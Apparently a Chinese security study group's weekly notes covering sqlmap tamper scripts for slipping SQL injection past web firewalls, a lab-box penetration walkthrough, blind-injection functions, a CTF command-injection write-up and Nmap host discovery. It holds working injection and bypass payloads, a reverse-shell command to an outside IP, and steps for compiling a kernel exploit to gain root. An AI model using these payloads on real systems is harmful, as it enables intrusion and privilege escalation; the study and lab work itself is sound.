A组第四周笔记汇总

sqlmap注入之tamper绕过WAF防火墙过滤
使用方法
参考:sqlmap用户手册详解【实用版】

sqlmap.py -u “http://www.target.com/test.php?id=12” –dbms mysql –tamper “space2commet,versionedmorekeywords.py” -v 3 –dbs

脚本名:apostrophemask.py

作用:用utf8代替引号
1Example: (“1 AND ‘1’=’1”) ‘1 AND%EF%BC%871%EF%BC%87=%EF%BC%871’
Tested against: all

作用:like 代替等号
12345Example: Input: SELECT FROMusers WHEREid=1 Output: SELECT FROMusers WHEREid LIKE1
案例一: http://wooyun.org/bugs/wooyun-2010-087296
案例二: http://wooyun.org/bugs/wooyun-2010-074790
案例三:http://wooyun.org/bugs/wooyun-2010-072489

脚本名:space2dash.py

作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
1Example: (‘1 AND 9227=9227’) ‘1—nVNaVoPYeva%0AAND—ngNvzqu%0A9227=9227’
Tested against: MSSQL SQLite
案例一:http://wooyun.org/bugs/wooyun-2010-062878

脚本名:greatest.py

作用:绕过过滤’>’ ,用GREATEST替换大于号。
1Example: (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’Tested against: MySQL 4, 5.0 and5.5 Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

作用:空格替换为#号 随机字符串 以及换行符
1234Example: Input: 1 AND9227=9227 Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
MySQL Tested against:
MySQL 4.0, 5.0

作用:绕过过滤双引号,替换字符和双引号。
1Example: tamper(“1 AND ‘1’=’1”) ‘1 AND%00%271%00%27=%00%271’
Tested against:
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
123Example:(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) “value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa”
Requirement:
MySQL < 5.1
Tested against:
MySQL 4.0.18, 5.0.22

作用:空格替换为 #号 以及更多随机字符串 换行符
12345Example: Input: 1 AND9227=9227 Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement: MySQL >= 5.1.13 Tested
MySQL 5.1.41
案例一:91ri一篇文章

作用:在有效负荷结束位置加载零字节字符编码
1Example: (‘1 AND 1=1’) ‘1 AND 1=1%00’
Requirement:
Microsoft Access

作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
123Example:(‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’
Requirement:
MySQL
SQLite (possibly)
SAP MaxDB (possibly)
Tested against:
MySQL 5.0 and 5.5

作用:空格替换为其它空符号
Example: Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers
Requirement: Microsoft SQL Server Tested against: Microsoft SQL Server 2000 * Microsoft SQL Server 2005

案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名:base64encode.py

作用:用base64编码替换 Example: (“1′ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all
案例一: http://wooyun.org/bugs/wooyun-2010-060071
案例二: http://wooyun.org/bugs/wooyun-2010-021062
案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名:space2mssqlhash.py

作用:替换空格
1Example: (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’Requirement: MSSQL MySQL

作用:过滤空格,包含完整的查询版本注释
1Example: (‘1 AND 2>1—‘) ‘1 /!30874AND 2>1/—‘
Requirement: * MySQL
Tested against:
MySQL 5.0

作用:空格替换其它空白符号(mysql)
12345Example: Input: SELECTid FROMusers Output: SELECT%0Bid%0BFROM%A0users
Requirement:
MySQL
Tested against:
MySQL 5.1

脚本名:between.py

作用:用between替换大于号(>)
1Example: (‘1 AND A > B—‘) ‘1 AND A NOT BETWEEN 0 AND B—‘
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5 Oracle 10g PostgreSQL 8.3, 8.4, 9.0

脚本名:space2mysqldash.py

作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
注:之前有个mssql的 这个是mysql的
1Example: (‘1 AND 9227=9227’) ‘1—%0AAND—%0A9227=9227’
Requirement:
MySQL
MSSQL

作用:围绕SQL关键字添加多个空格
1Example: (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’
Tested against: all

脚本名:space2plus.py

作用:用+替换空格
1Example: (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’Tested against: all

作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
1Example: (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’
Tested against:
MySQL 5.1, SGOS

双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
1Example: (‘1 UNION SELECT 2—‘) ‘1 UNIOUNIONN SELESELECTCT 2—‘Tested against: all

作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
1Example: (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’
Tested against: all

作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
1Example: (‘1 AND 9227=9227— ‘) ‘1 AND 9227=9227— sp_password’Requirement: * MSSQL

作用: 双url编码(不处理以编码的)
12345Example: Input: SELECTFIELD FROM%20TABLE Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

作用:替换UNION ALL SELECT UNION SELECT
Example: (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’
Requirement: all

作用:url编码
12345Example: Input: SELECTFIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

作用:随机大小写 Example:
Input: INSERT
Output: InsERt
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

作用:宽字符绕过 GPC addslashes
12345Example: Input: 1′ AND1=1 Output: 1%bf%27 AND1=1–%20

作用:用/**/分割sql关键字
123Example:‘INSERT’ becomes ‘IN//S//ERT’

作用:字符串 unicode 编码
12345Example: Input: SELECTFIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Requirement:
ASP
ASP.NET
Tested against:
Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3

脚本名:securesphere.py

作用:追加特制的字符串
1Example: (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having’”
Tested against: all

作用:注释绕过
12345Example: Input: 1 UNIONALLSELECTNULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() ASCHAR),CHAR(32)),CHAR(58,115,114,121,58))# Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
Requirement:
MySQL >= 5.1.13

作用:Replaces space character (‘ ‘) with comments ‘//’
12345Example: Input: SELECTid FROMusers Output: SELECT//id//FROM/
/users
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

脚本名:halfversionedmorekeywords.py
作用:关键字前加注释
12345Example: Input: value’ UNIONALLSELECTCONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() ASCHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND‘QDWa’=’QDWa Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’=’QDWa
Requirement:
MySQL < 5.1
Tested against:
MySQL 4.0.18, 5.0.22

第四周Centos4.5靶机渗透
信息收集
扫描端口

收集版本信息

操作系统识别

登录网页
在冥冥之中莫名的听到sql注入可以进入系统,我灵机一动开始查找有关sql注入的相关知识:
Sql注入简介
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
尝试登录
我们先尝试随意输入用户名 123 和密码 123 登录:

发现登录失败!!!
从错误页面中我们无法获取到任何信息。
实际执行的操作时:

当查询到数据表中存在同时满足 username 和 password 字段时,会返回登录成功。
按照第一个实例的思路,我尝试在用户名中输入 123’ or 1=1 #, 密码同样输入 123’ or 1=1 #

为什么能够成功登陆呢?因为实际执行的语句是:
select from users where username=’123’ or 1=1 #’ and password=’123’ or 1=1 #’
按照 Mysql 语法,# 后面的内容会被忽略,所以以上语句等同于(实际上密码框里不输入任何东西也一样):
from users where username=’123’ or 1=1
由于判断语句 or 1=1 恒成立,所以结果当然返回真,成功登录。
我再尝试不使用 # 屏蔽单引号,采用手动闭合的方式:
我尝试在用户名中输入 123’ or ‘1’=’1, 密码同样输入 123’ or ‘1’=’1 (不能少了单引号,否则会有语法错误)

同样登录成功!!!!

判断是否存在 Sql 注入漏洞

最为经典的单引号判断法:
在参数后面加上单引号,比如:
http://xxx/abc.php?id=1
如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

监听,弹shell

输入1||bash -i >& /dev/tcp/47.110.76.73/7890 0>&1

用burp抓取,将“&”改为“%26”如下图

再用阿里云监听

查看内核版本,在kali上下载版本漏洞(用searchsploit [options]工具搜索漏洞)

将漏洞上传到我的网站,在用靶机访问我的网站获取漏洞

成功获取漏洞,进入权限较低的tmp目录

用a.out文件对9542.c进行编译

成功获取root权限

bool盲注
Bool盲注通常是由于开发者将报错信息屏蔽所导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面
在字符串型注入的时候我们还需要绕过单引号,将payload修改为如下格式’and’1’=’1和’or’1’=’2来闭合单引号

截取函数
1.substr():是字符串截取函数
使用方法:substr(str,start,length)
str:被截取的字符串,start为开始截取的位置,length为截取的长度
2.left():左截取函数,
使用方法:left(str,length)
在盲注中可以使用left(user(),1)来左截取一位字符
3.right():向右截取,用法和left差不多
转换函数
1.ascii():将字符串转换为ASCII码
2.hex():将字符串的值转换为十六进制的值
比较函数
1.if()
使用方法:if(condmTure_result,False_result)
cond:判断条件
True_result:判断为真时的返回结果
False_result: 判断为假时的返回结果
时间盲注(与bool盲注不同的是,在验证阶段,bool盲注是根据页面回显的不同判断,而时间盲注是根据页面响应时间判断)
常用函数
sleep():可以使查询数据时回显数据的响应时间加长
使用方法:sleep(N) N为睡眠时间
benchmark():用来重复执行某个语句的函数

buuctf pingpingping题目wp

1.进入网站

打开hackbar,尝试ping本机ip

所以确定是命令执行
2.在后面输入要执行的命令 ls
发现了flag.php文件,尝试cat,失败
用&,&&,||,|连接时依旧失败
查看index.php文件后发现

3.知道了过滤规则,所以使用字符串变量拼接进行饶过,但按次序输入后发现还是不行
百度之后发现要打乱顺序
//为什么要反过来?flag匹配时中间有内容也会被匹配。 //表达式 . 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配

TCP-ACK Ping 主机发现
TCP连接模型
PA:TCP ACK

TCP连接模型
TCP (Transmission Control Protocol传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议。

Nmap -sn ping scan介绍
Ping scan被用于在网络中进行探测存活主机,Nmap默认的sn(ping scan),会在主机返现之后并不进行端口扫描。

经过分析可知Nmap -sn在局域网环境中只是用ARP协议进行主机发现。

Nmap互联网中的 -sn ping Scan

经过分析可知 Nmap -sn在互联网环境中是用多种协议进行主机发现如TCP ACK 80,TCP SYN 443等。

Nmap TCP SYN ping scan

通过-PS指定TCP SYN探针类型,进行主机发现。 命令如下:nmap -sn -PS 目标

Nmap TCP SYN ping scan突破防火墙技巧

值得注意的是当防火墙设置为自动过滤掉80端口的SYN时。可以通过指定端口来突破这样的过滤规则。

  • nmap-PS -p 1-1000 目标

相关推荐

发表评论

路人甲

网友评论(0)